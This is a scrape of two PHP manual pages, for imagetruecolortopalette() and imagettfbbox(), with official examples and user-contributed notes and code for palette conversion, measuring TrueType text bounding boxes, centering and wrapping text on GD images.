(PHP 4 >= 4.0.6, PHP 5)

imagetruecolortopalette — Convert a true color image to a palette image

Description

bool imagetruecolortopalette ( resource $image , bool $dither , int $ncolors )

imagetruecolortopalette() converts a truecolor image to a palette image. The code for this function was originally drawn from the Independent JPEG Group library code, which is excellent. The code has been modified to preserve as much alpha channel information as possible in the resulting palette, in addition to preserving colors as well as possible. This does not work as well as might be hoped. It is usually best to simply produce a truecolor output image instead, which guarantees the highest output quality.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

dither

Indicates if the image should be dithered - if it is TRUE then dithering will be used which will result in a more speckled image but with better color approximation.

ncolors

Sets the maximum number of colors that should be retained in the palette.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Converting a true color image to a palette-based image

<?php
// Create a new true color image
$im = imagecreatetruecolor(100, 100);

// Convert to palette-based with no dithering and 255 colors
imagetruecolortopalette($im, false, 255);

// Save the image
imagepng($im, './paletteimage.png');
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

User Contributed Notes

djcassis(a)gmail.com 21-Sep-2008 03:52
>> zmorris at zsculpt dot com

I don't have the imageColorMatch() function on my server, but I could slighty improve the quality of the GIF/PNG image by converting it first to 256 colors, then to true colors and finally to the desired number of colors.

<?php

$dither = true;
$colors = 64;

$tmp = imageCreateFromJpeg('example.jpg');
$width = imagesX($tmp);
$height = imagesY($tmp);
imageTrueColorToPalette($tmp, $dither, 256);
$image = imageCreateTrueColor($width, $height);
imageCopy($image, $tmp, 0, 0, 0, 0, $width, $height);
imageDestroy($tmp);
imageTrueColorToPalette($image, $dither, $colors);

?>

Final $image will still have less than 64 colors, but more than if it was directly converted to 64 colors, and they match the JPEG image more.

Dunno why true colors to palette conversions are such a problem...
will at fnatic dot com 24-Feb-2006 09:49
a basic palette to true color function
<?php
    function imagepalettetotruecolor(&$img)
    {
        if (!imageistruecolor($img))
        {
            $w = imagesx($img);
            $h = imagesy($img);
            $img1 = imagecreatetruecolor($w,$h);
            imagecopy($img1,$img,0,0,0,0,$w,$h);
            $img = $img1;
        }
    }
?>
zmorris at zsculpt dot com 17-Aug-2004 07:58
Sometimes this function gives ugly/dull colors (especially when ncolors < 256).  Here is a replacement that uses a temporary image and ImageColorMatch() to match the colors more accurately.  It might be a hair slower, but the file size ends up the same:

<?php
function    ImageTrueColorToPalette2( $image, $dither, $ncolors )
{
    $width = imagesx( $image );
    $height = imagesy( $image );
    $colors_handle = ImageCreateTrueColor( $width, $height );
    ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
    ImageTrueColorToPalette( $image, $dither, $ncolors );
    ImageColorMatch( $colors_handle, $image );
    ImageDestroy( $colors_handle );
}
?>
php at roelvanmastbergen dot nl 06-Jun-2004 06:34
The palette created by this function often looks quite awful (at least it did on all of my test images). A better way to convert your true-colour images is by first making a resized copy of them with imagecopyresampled() to a 16x16 pixel destination. The resized image then contains only 256 pixels, which is exactly the number of colours you need. These colours usually look a lot better than the ones generated by imagetruecolortopalette().

The only disadvantage to this method I have found is that different-coloured details in the original image are lost in the conversion.
jemore at nospaM dot m6net dot fr 22-Nov-2003 07:25
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly to GIF format with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
darkelder at php dot net 17-Jul-2003 10:34
TrueColor images should be converted to Palette images with this function. So, if you want to use imagecolorstotal() function [ http://php.net/manual/en/function.imagecolorstotal.php ] , you should first convert the image to a palette image with imagetruecolortopalette();


Give the bounding box of a text using TrueType fonts

  • « imagetruecolortopalette
  • imagettftext »
  • PHP Manual
  • GD and Image Functions
  • Give the bounding box of a text using TrueType fonts

imagettfbbox

(PHP 4, PHP 5)

imagettfbbox — Give the bounding box of a text using TrueType fonts

Description

array imagettfbbox ( float $size , float $angle , string $fontfile , string $text )

This function calculates and returns the bounding box in pixels for a TrueType text.

Parameters

size

The font size.

Note: In GD 1, this is measured in pixels. In GD 2, this is measured in points.

angle

Angle in degrees in which text will be measured.

fontfile

The name of the TrueType font file (can be a URL). Depending on which version of the GD library that PHP is using, it may attempt to search for files that do not begin with a leading '/' by appending '.ttf' to the filename and searching along a library-defined font path.

text

The string to be measured.

Return Values

imagettfbbox() returns an array with 8 elements representing four points making the bounding box of the text on success and FALSE on error.

key | contents
0 | lower left corner, X position
1 | lower left corner, Y position
2 | lower right corner, X position
3 | lower right corner, Y position
4 | upper right corner, X position
5 | upper right corner, Y position
6 | upper left corner, X position
7 | upper left corner, Y position

The points are relative to the text regardless of the angle, so "upper left" means in the top left-hand corner seeing the text horizontally.

Examples

Example #1 imagettfbbox() example

<?php
// Create a 300x150 image
$im = imagecreatetruecolor(300, 150);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Set the background to be white
imagefilledrectangle($im, 0, 0, 299, 299, $white);

// Path to our font file
$font = './arial.ttf';

// First we create our bounding box for the first text
$bbox = imagettfbbox(10, 45, $font, 'Powered by PHP ' . phpversion());

// This is our cordinates for X and Y
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) - 25;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

// Write it
imagettftext($im, 10, 45, $x, $y, $black, $font, 'Powered by PHP ' . phpversion());

// Create the next bounding box for the second text
$bbox = imagettfbbox(10, 45, $font, 'and Zend Engine ' . zend_version());

// Set the cordinates so its next to the first text
$x = $bbox[0] + (imagesx($im) / 2) - ($bbox[4] / 2) + 10;
$y = $bbox[1] + (imagesy($im) / 2) - ($bbox[5] / 2) - 5;

// Write it
imagettftext($im, 10, 45, $x, $y, $black, $font, 'and Zend Engine ' . zend_version());

// Output to browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note:

This function requires both the GD library and the » FreeType library.

See Also

  • imagettftext() - Write text to the image using TrueType fonts

User Contributed Notes

rasmus at mindplay dot dk 11-Apr-2013 10:33
It should be noted that the bounding box coordinates returned by this function are inaccurate - bug reports about this have been open for 5 years, so expect this will likely never be fixed.

More information here:

https://gist.github.com/mindplay-dk/4429153
go4christian at gmail dot com 01-Aug-2012 12:02
Automatic line breaks: This simple function is able automatically create line breaks if you want to write a text on an image. All you have to specify is a maximum length.

<?php
function write_multiline_text($image, $font_size, $color, $font, $text, $start_x, $start_y, $max_width)
{
        //split the string
        //build new string word for word
        //check everytime you add a word if string still fits
        //otherwise, remove last word, post current string and start fresh on a new line
        $words = explode(" ", $text);
        $string = "";
        $tmp_string = "";

        for($i = 0; $i < count($words); $i++)
        {
            $tmp_string .= $words[$i]." ";

            //check size of string
            $dim = imagettfbbox($font_size, 0, $font, $tmp_string);

            if($dim[4] < $max_width)
            {
                $string = $tmp_string;
            } else {
                $i--;
                $tmp_string = "";
                imagettftext($image, 11, 0, $start_x, $start_y, $color, $font, $string);

                $string = "";
                $start_y += 22; //change this to adjust line-height. Additionally you could use the information from the "dim" array to automatically figure out how much you have to "move down"
            }
        }

        imagettftext($image, 11, 0, $start_x, $start_y, $color, $font, $string); //"draws" the rest of the string
?>
magnum dot tc dot mr at gmail dot com 08-Jun-2012 07:50
Please note that the 3rd argument is really a "path".
<?php
imagettfbbox(10, 0, 'arial.ttf', 'Hello, World!');  // will result in "Warning: imagettfbbox(): Could not find/open font in ...php on line ..."
?>

use instead something like this:
<?php imagettfbbox(10, 0, './arial.ttf', 'Hello, World!'); ?>
or
<?php imagettfbbox(10, 0, getcwd().'/arial.ttf', 'Hello, World!'); ?>
Anonymous 04-May-2012 10:29
It seems to be worth pointing out that the "points" unit GD2 is using corresponds to 96 dpi, as defined in gd.h:
#define GD_RESOLUTION           96      /* pixels per inch */

So if you want to translate the bbox back to font points, you need to multiply all coordinates by 72/96 = 3/4.
jodybrabec at gmail dot com 31-Aug-2011 12:39
Very CLEAR version of func., with example....

<?php

function calculateTextBox($text,$fontFile,$fontSize,$fontAngle) {
    /************
    simple function that calculates the *exact* bounding box (single pixel precision).
    The function returns an associative array with these keys:
    left, top:  coordinates you will pass to imagettftext
    width, height: dimension of the image you have to create
    *************/
    $rect = imagettfbbox($fontSize,$fontAngle,$fontFile,$text);
    $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6]));
    $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6]));
    $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7]));
    $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7]));

    return array(
     "left"   => abs($minX) - 1,
     "top"    => abs($minY) - 1,
     "width"  => $maxX - $minX,
     "height" => $maxY - $minY,
     "box"    => $rect
    );
}

// Example usage - gif image output

$text_string    = "Hullo World";
$font_ttf        = "./fonts/arial.ttf";
$font_size        = 22;
$text_angle        = 0;
$text_padding    = 10; // Img padding - around text

$the_box        = calculateTextBox($text_string, $font_ttf, $font_size, $text_angle);

$imgWidth    = $the_box["width"] + $text_padding;
$imgHeight    = $the_box["height"] + $text_padding;

$image = imagecreate($imgWidth,$imgHeight);
imagefill($image, imagecolorallocate($image,200,200,200));

$color = imagecolorallocate($image,0,0,0);
imagettftext($image,
    $font_size,
    $text_angle,
    $the_box["left"] + ($imgWidth / 2) - ($the_box["width"] / 2),
    $the_box["top"] + ($imgHeight / 2) - ($the_box["height"] / 2),
    $color,
    $font_ttf,
    $text_string);

header("Content-Type: image/gif");
imagegif($image);
imagedestroy($image);

?>

[ remember: No spaces before or after the <?php ... ?> tag, because of header() call, you Roast! ]
phpcity at phpcountry dot net 18-May-2011 03:21
I could in no way reproduce this function's example if I was to use any accented letter.

Replacing imagecreatetruecolor by imagecreate worked correctly with accents.
Andrey Zakharov 05-Jan-2011 12:16
For mixed text drawing on image, height given by this function is useless and leads to text's hip-hops over the baseline .

I will use just this:
<?php
$size = 12;//font height
$font = 'Arial';// your font
$char = 'Test';
$char = 'With W';
$char = 'without w but with p and y and q';

    $rect = imagettfbbox($size, 0, $font, $char);

    $image_height =abs( $rect[7] );//do no respect bottom margin
    $imw = $rect[2] - $rect[0]; //as usual
    $bx = abs( $rect[ 0 ] ); // X offset
    $by = $size * 1.25; // Y offset - we will use const LINEHEIGHT
?>
a2hansolo at gmail dot com 23-Dec-2010 08:29
measure bg image size, wrap text to fit image width

<?php
$mx = imagesx($main_img);
$my = imagesy($main_img);

//TEXT VARS/////////
$main_text = ;
$main_text_size = ;
$main_text_x = ($mx/2);

$main_text_color = imagecolorallocate($main_img, $main_text_red, $main_text_green, $main_text_blue);
$words = explode(' ', $main_text);
$lines = array($words[0]);
$currentLine = 0;
    for($i = 1; $i < count($words); $i++)
    {
        $lineSize = imagettfbbox($main_text_size, 0, $mt_f, $lines[$currentLine] . ' ' . $words[$i]);
        if($lineSize[2] - $lineSize[0] < $mx)
        {
            $lines[$currentLine] .= ' ' . $words[$i];
        }
        else
        {
            $currentLine++;
            $lines[$currentLine] = $words[$i];
        }
    }
$line_count = 1;
// Loop through the lines and place them on the image
foreach ($lines as $line)
{
    $line_box = imagettfbbox($main_text_size, 0, $mt_f, "$line");
    $line_width = $line_box[0]+$line_box[2];
    $line_height = $line_box[1]-$line_box[7];
    $line_margin = ($mx-$line_width)/2;
    $line_y = (($line_height+12) * $line_count);
    imagettftext($main_img, $main_t_s, 0, $line_margin, $line_y, $main_text_color, $mt_f, $line);

    // Increment Y so the next line is below the previous line
    $line_count ++;
}
?>
blackbart at simail dot it 15-Apr-2010 08:12
I wrote a simple function that calculates the *exact* bounding box (single pixel precision).
The function returns an associative array with these keys:
left, top:  coordinates you will pass to imagettftext
width, height: dimension of the image you have to create

<?php
function calculateTextBox($font_size, $font_angle, $font_file, $text) {
  $box   = imagettfbbox($font_size, $font_angle, $font_file, $text);
  if( !$box )
    return false;
  $min_x = min( array($box[0], $box[2], $box[4], $box[6]) );
  $max_x = max( array($box[0], $box[2], $box[4], $box[6]) );
  $min_y = min( array($box[1], $box[3], $box[5], $box[7]) );
  $max_y = max( array($box[1], $box[3], $box[5], $box[7]) );
  $width  = ( $max_x - $min_x );
  $height = ( $max_y - $min_y );
  $left   = abs( $min_x ) + $width;
  $top    = abs( $min_y ) + $height;
  // to calculate the exact bounding box i write the text in a large image
  $img     = @imagecreatetruecolor( $width << 2, $height << 2 );
  $white   =  imagecolorallocate( $img, 255, 255, 255 );
  $black   =  imagecolorallocate( $img, 0, 0, 0 );
  imagefilledrectangle($img, 0, 0, imagesx($img), imagesy($img), $black);
  // for sure the text is completely in the image!
  imagettftext( $img, $font_size,
                $font_angle, $left, $top,
                $white, $font_file, $text);
  // start scanning (0=> black => empty)
  $rleft  = $w4 = $width<<2;
  $rright = 0;
  $rbottom   = 0;
  $rtop = $h4 = $height<<2;
  for( $x = 0; $x < $w4; $x++ )
    for( $y = 0; $y < $h4; $y++ )
      if( imagecolorat( $img, $x, $y ) ){
        $rleft   = min( $rleft, $x );
        $rright  = max( $rright, $x );
        $rtop    = min( $rtop, $y );
        $rbottom = max( $rbottom, $y );
      }
  // destroy img and serve the result
  imagedestroy( $img );
  return array( "left"   => $left - $rleft,
                "top"    => $top  - $rtop,
                "width"  => $rright - $rleft + 1,
                "height" => $rbottom - $rtop + 1 );
}
?>
peterjwest3 at gmail dot com 08-Apr-2010 03:18
As many of you know, this function is bugged in several versions of PHP. It should return the coordinates relative to the baseline of the font. So if your text includes characters like g and p then the bounding box should extend below zero on the Y axis, however it doesn't. This is a problem because imagettftext() positions text using the baseline, so all your text will be misaligned.

My solution is to create an image of the desired font and font-size using all ascii characters with imagettfbbox() and imagettftext(). The height of this image is used as the height for the real image.

I then analyse the image to get the vertical offset of the text (the background color should be $baseColor)
<?php
function getYOffset($image, $baseColor) {
    for($y = 0; $y < $this->height(); $y++)
        for($x = 0; $x < $this->width(); $x++)
            if (imagecolorat($image, $x, $y) !== $baseColor)
                return $y; }
?>

This offset can be used as the baseline for the font (for this font-size). You can use a similar trick for the horizontal offset, but that changes depending on the first character.
hkc@taiwan 22-Aug-2009 09:57
I want to output a bounding box of a text as an image straightly. I did like this:

<?php

$text = "<?php echo \"hello, world\"; ?>";
$font = "./arial.ttf";
$size = "60";

$bbox = imagettfbbox($size, 0, $font, $text);

$width = abs($bbox[2] - $bbox[0]);
$height = abs($bbox[7] - $bbox[1]);

$image = imagecreatetruecolor($width, $height);

$bgcolor = imagecolorallocate($image, 255, 255, 255);
$color = imagecolorallocate($image, 0, 0, 0);

$x = $bbox[0] + ($width / 2) - ($bbox[4] / 2);
$y = $bbox[1] + ($height / 2) - ($bbox[5] / 2);

imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $bgcolor);
imagettftext($image, $size, 0, $x, $y, $color, $font, $text);

$last_pixel= imagecolorat($image, 0, 0);

for ($j = 0; $j < $height; $j++)
{
    for ($i = 0; $i < $width; $i++)
    {
        if (isset($blank_left) && $i >= $blank_left)
        {
            break;
        }

        if (imagecolorat($image, $i, $j) !== $last_pixel)
        {
            if (!isset($blank_top))
            {
                $blank_top = $j;
            }
            $blank_left = $i;
            break;
        }

        $last_pixel = imagecolorat($image, $i, $j);
    }
}

$x -= $blank_left;
$y -= $blank_top;

imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $bgcolor);
imagettftext($image, $size, 0, $x, $y, $color, $font, $text);

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
alvaro at demogracia dot com 22-May-2009 12:35
If $fontfile is a Windows UNC path, it *must* start with //SERVER rather than \\SERVER:

<?php
imagettfbbox(10, 0, '\\\\server\\path\\file.ttf', 'Hello, World!'); // Warning: imagettfbbox() [http://es.php.net/function.imagettfbbox]: Could not find/open font
?>
Dario 06-May-2009 04:09
My solution to below-baseline characters is to simply apply a smaller angle and some padding when calculating your boundaries, so the function thinks your text goes below baseline. For example:

<?php
// GET BOUNDS OF TEXT
$bounds = imagettfbbox($size*1.05, $angle-3, $font, $text);
?>
Anonymous 06-Nov-2008 08:18
SIMPLE OVERLOADED FUNCTION: Adds TTF Center and Right Alignment to co ordintate points.
Correctly demonstrates the use of the bouning box TTF function and the array of coordinates that it returns.

After obtaining values and adjusting based on a set of values [L, C, R], it uses simple math based of the length of the text to move it from the origin (x = 0 )

<?php
function imagettftextalign($image, $size, $angle, $x, $y, $color, $font, $text, $alignment='L')
{

   //check width of the text
   $bbox = imagettfbbox ($size, $angle, $font, $text);
   $textWidth = $bbox[2] - $bbox[0];
   switch ($alignment) {
       case "R":
           $x -= $textWidth;
           break;
       case "C":
           $x -= $textWidth / 2;
           break;
   }

   //write text
   imagettftext ($image, $size, $angle, $x, $y, $color, $font, $text);

}
?>
decimealgo at gmail dot com 04-Oct-2008 07:11
This is a function which reformats a text string into a text block of a given width.
Usefull when you have a long single line string and want to fit it into a fixed width but don't care about it's height

<?php
function makeTextBlock($text, $fontfile, $fontsize, $width)
{
    $words = explode(' ', $text);
    $lines = array($words[0]);
    $currentLine = 0;
    for($i = 1; $i < count($words); $i++)
    {
        $lineSize = imagettfbbox($fontsize, 0, $fontfile, $lines[$currentLine] . ' ' . $words[$i]);
        if($lineSize[2] - $lineSize[0] < $width)
        {
            $lines[$currentLine] .= ' ' . $words[$i];
        }
        else
        {
            $currentLine++;
            $lines[$currentLine] = $words[$i];
        }
    }

    return implode("\n", $lines);
}
?>
beosman at gmail dot com 22-Aug-2008 06:00
I was viewing the code for calculate the box of a text for a given font but I do not found one that works fine with different angles from zero, so I have made a function simpler than above:

<?php

function calculateTextBox($text,$fontFile,$fontSize,$fontAngle) {
  $rect = imagettfbbox($fontSize,$fontAngle,$fontFile,$text);

  $minX = min(array($rect[0],$rect[2],$rect[4],$rect[6]));
  $maxX = max(array($rect[0],$rect[2],$rect[4],$rect[6]));
  $minY = min(array($rect[1],$rect[3],$rect[5],$rect[7]));
  $maxY = max(array($rect[1],$rect[3],$rect[5],$rect[7]));

  return array(
    "left"   => abs($minX),
    "top"    => abs($minY),
    "width"  => $maxX - $minX,
    "height" => $maxY - $minY,
    "box"    => $rect
  );
}

?>

With this function you can center an angled string in any image:

<?php

  $mystring = "Hello world!";

  $imgWidth = 300;
  $imgHeight = 150;

  $image = imagecreate($imgWidth,$imgHeight);
  imagefill($image,imagecolorallocate($image,200,200,200));

  $box = calculateTextBox($mystring,"./Verdana.ttf",15,45);
  $color = imagecolorallocate($image,0,0,0);
  imagettftext($image,
               15,
               45,
               $box["left"] + ($imgWidth / 2) - ($box["width"] / 2),
               $box["top"] + ($imgHeight / 2) - ($box["height"] / 2),
               $color,
               "./Verdana.ttf",
               $mystring);

  header("Content-Type: image/x-png");
  imagepng($im);
  imagedestroy($im);

?>
Stefan at colulus dot com 30-May-2008 08:13
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagepng($im);

?>
Valentijn de Pagter 16-May-2008 07:14
If you're looking for easy text alignment, you need to use the imagettfbbox() command. When given the correct parameters, it will return the boundaries of your to-be-made text field in an array, which will allow you to calculate the x and y coordinate that you need to use for centering or aligning your text.

A horizontal centering example:

<?php

$tb = imagettfbbox(17, 0, 'airlock.ttf', 'Hello world!');

?>

$tb would contain:

Array
(
    [0] => 0 // lower left X coordinate
    [1] => -1 // lower left Y coordinate
    [2] => 198 // lower right X coordinate
    [3] => -1 // lower right Y coordinate
    [4] => 198 // upper right X coordinate
    [5] => -20 // upper right Y coordinate
    [6] => 0 // upper left X coordinate
    [7] => -20 // upper left Y coordinate
)

For horizontal alignment, we need to substract the "text box's" width { $tb[2] or $tb[4] } from the image's width and then substract by two.

Saying you have a 200px wide image, you could do something like this:

<?php

$x = ceil((200 - $tb[2]) / 2); // lower left X coordinate for text
imagettftext($im, 17, 0, $x, $y, $tc, 'airlock.ttf', 'Hello world!'); // write text to image

?>

This'll give you perfect horizontal center alignment for your text, give or take 1 pixel. Have fun!
mihai.draghicioiu at gmailcom 15-Apr-2008 12:57
To get the height for a line of text, I've found it useful to do:

<?php

$bbox = imagettfbbox($size, 0, $ttf, " \n "); // space, newline, space

$height = $bbox[3] - $bbox[5];

?>

I hope this helps. Before, I used the string "Tj", but that sometimes fell short, especially for crazy fonts.
heshan at sjtu dot edu dot cn 07-Jan-2008 01:18
the imagettfbbox and imagettftext quirks are:

1. imagettfbbox and imagettftext have the same return value and both of them are wrong for angle not equal to zero.
2. imagettfbbox returns the correct bounding box when angle is zero.
3. the bounding box has a coordinate system that the x gets bigger from left to right and y gets bigger from top to bottom.
4. the "base point" used in imagettftext is the origin in the bounding box coordinate system.
5. when the angle is other than 0, it is actually rotated in the coordinate system with respect to the base point. so if we know the bounding box coordinate when angle is zero, we can get the new bounding box coordinate by doing the rotation by math equations manually.
6. to have pixel level accuracy, we should also be aware of another thing. suppose the axis is like this: |_|_|_|, the bounding box coordinate uses point on the vertical line while image function uses point on the horizontal line, so there is a 1 pixel difference you should take care of.

The following snippet creates minimal images containing a letter of different font and rotation angle. This is especially useful in captcha scripts.

<?php

function create_font_image( $size, $angle, $font, $char )
{
    $rect = imagettfbbox( $size, 0, $font, $char );
    if( 0 == $angle ) {
        $imh = $rect[1] - $rect[7];
        $imw = $rect[2] - $rect[0];
        $bx = -1 - $rect[0];
        $by = -1 - $rect[7];
    } else {
        $rad = deg2rad( $angle );
        $sin = sin( $rad );
        $cos = cos( $rad );
        if( $angle > 0 ) {
            $tmp = $rect[6] * $cos + $rect[7] * $sin;
            $bx = -1 - round( $tmp );
            $imw = round( $rect[2] * $cos + $rect[3] * $sin - $tmp );
            $tmp = $rect[5] * $cos - $rect[4] * $sin;
            $by = -1 - round( $tmp );
            $imh = round( $rect[1] * $cos - $rect[0] * $sin - $tmp );
        } else {
            $tmp = $rect[0] * $cos + $rect[1] * $sin;
            $bx = -1 - round( $tmp );
            $imw = round( $rect[4] * $cos + $rect[5] * $sin - $tmp );
            $tmp = $rect[7] * $cos - $rect[6] * $sin;
            $by = -1 - round( $tmp );
            $imh = round( $rect[3] * $cos - $rect[2] * $sin - $tmp );
        }
    }
    $im = imagecreatetruecolor( $imw, $imh );
    imagefill( $im, 0, 0, imagecolorallocate( $im, 255, 0, 255 ) );
    imagettftext( $im, $size, $angle, $bx, $by, imagecolorallocate( $im, 0, 0, 0 ), $font, $char );
    imagegif( $im, trim( $font, './' ) . ord( $char ) . $angle . '.gif' );
    imagedestroy( $im );
}

$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
$angles = array( -30, -20, -10, 0, 10, 20, 30 );
$fonts = array( './latinwide.ttf', './verdana.ttf', './times.ttf', './broadway.ttf' );
foreach( $angles as $angle )
    foreach( $fonts as $font )
        for( $i = 0; $i < strlen( $chars ); ++$i )
            create_font_image( 100, $angle, $font, $chars[$i] );
?>
intuz et gmx dt de 30-Aug-2007 08:45
I still got problems trying to rotate imagettftext using imagettfbbox.

It's position calculation is mostly wrong. So i tried to rotate ttftext with IMAGEROTATE.

As a special the result is in black fontcolor and transparent background.

Hope it helps sombody (thanks for function convertBoundingBox, reading below)

<?
function ImgText($text,$fontsize,$font,$angle){
$im = '';
    if($text){
        if(!$fontsize || $fontsize < 1) $fontsize = 12;
        if(!$font) $font = "fonts/arial.ttf";
        $bbox = imagettfbbox($fontsize, 0, $font, $text);
        $size=convertBoundingBox($bbox);
        $im = ImageCreatetruecolor($size['width'],$size['height']);

        $white = ImageColorAllocate($im, 255, 255, 255);
        $black = ImageColorAllocate($im, 0,0,0);

        imagefill ($im, 0, 0, $white );
        imagettftext($im, $fontsize, 0, $size['xOffset'], $size['yOffset'], $black, $font, $text);
        $im = imagerotate( $im,$angle, $white);
        imagecolortransparent ($im,$white);
    }else{
        // No text
    }
}
?>
bushj at rpi dot edu 11-Jul-2007 06:11
Apparently the bounding box returned by imagettftext and imagettfbbox is not the same, and it appears as though imagettftext does a better job at calculating the actual bounding box (maybe because it has to render every character and it then finds out really everywhere it rendered).

So, you can create a dummy image render the text to it and get a better box. Here is an example function:
<?php
function better_imagettfbbox($size, $angle, $font, $text) {
  $dummy = imagecreate(1, 1);
  $black = imagecolorallocate($dummy, 0, 0, 0);
  $bbox = imagettftext($dummy, $size, $angle, 0, 0, $black, $font, $text);
  imagedestroy($dummy);
  return $bbox;
}
?>
If you use this a lot, it would be better to keep one dummy image instead of continually creating and destroying images.
Ruquay 04-Jun-2007 01:12
Several comments show that the output of this function is often not what is expected, especially when the text is rotated.

For those of you who'd like a visual representation of what is happening to the bounding box as the text is rotated, take a look here:

http://ruquay.com/sandbox/imagettf/
Nate Sweet 01-Jun-2007 09:11
An improvement to the convertBoundingBox function. The previous function was completely wrong. My confusion came from characters like "1" and "_" that are rendered to the right or below the basepoint (in the font I'm using). I ended up using mike at mikeleigh dot com's function with a fix for these characters, and a "belowBasepoint" value.
<?php
function convertBoundingBox ($bbox) {
    if ($bbox[0] >= -1)
        $xOffset = -abs($bbox[0] + 1);
    else
        $xOffset = abs($bbox[0] + 2);
    $width = abs($bbox[2] - $bbox[0]);
    if ($bbox[0] < -1) $width = abs($bbox[2]) + abs($bbox[0]) - 1;
    $yOffset = abs($bbox[5] + 1);
    if ($bbox[5] >= -1) $yOffset = -$yOffset; // Fixed characters below the baseline.
    $height = abs($bbox[7]) - abs($bbox[1]);
    if ($bbox[3] > 0) $height = abs($bbox[7] - $bbox[1]) - 1;
    return array(
        'width' => $width,
        'height' => $height,
        'xOffset' => $xOffset, // Using xCoord + xOffset with imagettftext puts the left most pixel of the text at xCoord.
        'yOffset' => $yOffset, // Using yCoord + yOffset with imagettftext puts the top most pixel of the text at yCoord.
        'belowBasepoint' => max(0, $bbox[1])
    );
}
?>
Nate Sweet 01-Jun-2007 09:07
It took me some time to make full use of imagettfbbox. Hopefully the following function makes it much easier to use for others.

<?php
function convertBoundingBox ($bbox) {
    if ($bbox[0] >= -1)
        $leftOfBasepoint = -abs($bbox[0] + 1);
    else
        $leftOfBasepoint = abs($bbox[0] + 2);
    $rightOfBasepoint = abs($bbox[2] - $bbox[0]);
    if ($bbox[0] < -1) $rightOfBasepoint = abs($bbox[2]) + abs($bbox[0]) - 1;
    $aboveBasepoint = abs($bbox[5] + 1);
    $height = abs($bbox[7]) - abs($bbox[1]);
    if ($bbox[3] > 0) $height = abs($bbox[7] - $bbox[1]) - 1;
    $width = $leftOfBasepoint + $rightOfBasepoint;
    $belowBasepoint = $height - $aboveBasepoint;
    return array(
        'width' => $width,
        'height' => $height,
        'leftOfBasepoint' => $leftOfBasepoint,
        'rightOfBasepoint' => $rightOfBasepoint,
        'aboveBasepoint' => $aboveBasepoint,
        'belowBasepoint' => $belowBasepoint
    );
}
?>

Thanks goes to mike at mikeleigh dot com for providing the core of this function.

Remember, the basepoint is the x, y coords you use to draw text with imagettftext. A useful thing to do is take a string like...
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890
...and use the "aboveBasepoint" value for the height of your font. Now you can draw lines and use "the height of your font * leading" as the distance between lines of text, where leading is a number like 1.45 (for 45% leading).
Nate Sweet 30-May-2007 10:36
This script shows you side by side the difference between a font rendered at a certain size and the same font rendered at some multiple of that size and then scaled down by the same multiple. It seems to help small sizes and affects large ones less. This script lets you see if it is worth implementing for your situation. Included is the great "imagettfbboxextended" function by mike at mikeleigh dot com below.

$size = 30;
$factor = 16;

$smallSize = imagettfbboxextended($size, 0, "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
$smallWidth = $smallSize['width'];
$smallHeight = $smallSize['height'];
$canvas = imagecreatetruecolor($smallWidth + 20, $smallHeight * 2 + 20);
imagefill($canvas, 0, 0, imagecolorallocate($canvas, 255, 255, 255));
imagettftext($canvas, $size, 0, 10 + $smallSize['x'], 10 + $smallSize['y'], imagecolorallocate($canvas, 0, 0, 0), "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");

$largeSize = imagettfbboxextended($size * $factor, 0, "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
$largeWidth = $largeSize['width'];
$largeHeight = $largeSize['height'];
$temp = imagecreatetruecolor($largeWidth, $largeHeight);
imagefill($temp, 0, 0, imagecolorallocate($canvas, 255, 255, 255));
imagettftext($temp, $size * $factor, 0, $largeSize['x'], $largeSize['y'], imagecolorallocate($temp, 0, 0, 0), "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
imagecopyresampled($canvas, $temp, 10 + $smallSize['x'], 10 + $smallSize['y'] + 10, 0, 0, $smallWidth, $smallHeight, $largeWidth, $largeHeight);
imagepng($temp, "temp.png");

imagepng($canvas, "test.png");

